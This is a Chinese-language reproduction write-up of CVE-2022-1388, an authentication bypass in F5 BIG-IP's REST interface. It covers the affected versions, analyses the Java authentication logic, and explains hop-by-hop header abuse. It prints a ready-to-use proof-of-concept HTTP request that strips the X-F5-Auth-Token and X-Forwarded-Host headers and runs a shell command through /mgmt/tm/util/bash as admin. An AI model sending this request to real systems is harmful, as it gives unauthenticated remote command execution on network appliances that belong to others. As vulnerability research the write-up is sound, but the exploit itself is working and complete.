0x00 前言

这是去年的漏洞了,今天又出了,好久没有做复现了,看看一逻辑

漏洞描述

2022年修复CVE-2022-1388,和之前的未授权类似,也是同一个接口的绕过

影响版本

1
2
3
4
5
6
BIG-IP (全部模块) v16.0.0-16.1.2
BIG-IP (全部模块) v15.1.0-15.1.5
BIG-IP (全部模块) v14.1.0-14.1.4
BIG-IP (全部模块) v13.1.0-13.1.4
BIG-IP (全部模块) v12.1.0-12.1.6
BIG-IP (全部模块) v11.6.1-11.6.5

0x01 环境搭建

略..

0x02 代码分析

这里不说ssrf获取token的问题,详见安全客文章

认证流程

三种认证方式

  • cookie
  • Authorization
  • X-F5-Auth-Token

这里用到后面两种,

  • 其中Authorization是在apache加载的so文件种认证的
  • X-F5-Auth-Token是在java代码种认证的

这里面存在一个问题就是,后端不会对apache认证过的做二次认证

其中在so文件中如果检测到了请求头X-F5-Auth-Token,则会直接发往后端,详见斗象安全研究

我们可以看一下异同

没有请求头时,返回的apache的401

image-20220510171358676

存在请求头时,返回的是后端的请求头,具体的执行流程可以看上面的安全客文章

image-20220510171345133

还有个关于监听器的文档官方文档

这就是之前文章说的在apache种检测了这个头部是否为空

修复的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null)
return false;
final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;
if (valueList[valueIdx].contains("localhost") || valueList[valueIdx]
.contains("127.0.0.1")) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
if (valueList[valueIdx].contains("127.4.2.1") &&
components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
boolean isPasswordExpired = (request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"));
if (!PasswordUtil.isPasswordReset().booleanValue() || isPasswordExpired) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
return true;
}
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, null, null);
if (runnable != null)
runnable.run();
}

public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[] { ex.getMessage() });
if (ex.getMessage().contains("Password expired"))
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
if (runnable != null)
runnable.run();
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException e) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] { e.getMessage() });
}
return true;
}

尤其是可以看到,这里存在多处run,当为X-Forwarded-Host空时会直接设置我们的admin的身份

但是这个东西是我们没办法控制的,这是apache作为代理,转发的时候加上的请求头

那这里还是跟请求头相关的漏洞

  • HTTP request smuggling
  • hop-by-hop headers abuse

HTTP request smuggling

HTTP请求走私漏洞,和持久化连接相关,根因为管道化连接pipelineHTTP规范提供了两种不同的方法来指定请求的结束位置(Content-Length/Transfer-Encoding),因此判断和此漏洞无关

hop-by-hop headers abuse

A hop-by-hop header是设计用于由当前处理请求的代理处理和使用的标头,而不是端到端标头,其设计为始终存在于请求中到请求结束。根据RFC 2612HTTP/1.1 规范默认将以下标头视为逐跳:Keep-AliveTransfer-EncodingTEConnectionTrailerUpgrade和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点。Proxy-Authorization``Proxy-Authenticate

具体原理可参考Abusing HTTP hop-by-hop request headers

image-20220510172219223

大概意思就是我们可以通过这个漏洞,删除掉,apache向后端转发的X-Forwarded-Host请求头和X-F5-Auth-Token请求头

0x03 漏洞复现

我们可以具体看一下后端的反应

1
2
3
4
5
6
7
8
9
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.68
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46

{
"command": "run",
"utilCmdArgs": "-c id"
}

此后后端应该是检查的X-F5-Auth-Token

image-20220510172531787

我们用漏洞删除此请求头

1
2
3
4
5
6
7
8
9
10
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.68
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46
Connection: Keep-alive,X-F5-Auth-Token

{
"command": "run",
"utilCmdArgs": "-c id"
}

可以看到这个时候的验证方式就变了

image-20220510172659332

poc

1
2
3
4
5
6
7
8
9
10
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.68
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46
Connection: Keep-alive,X-F5-Auth-Token,X-Forwarded-Host

{
"command": "run",
"utilCmdArgs": "-c id"
}

image-20220510172747523

0x04 漏洞修复

暂时还没看

测试了一下,应该是在加载的so文件中做了判断,不会在直接放行

image-20220510195853678

0x05 end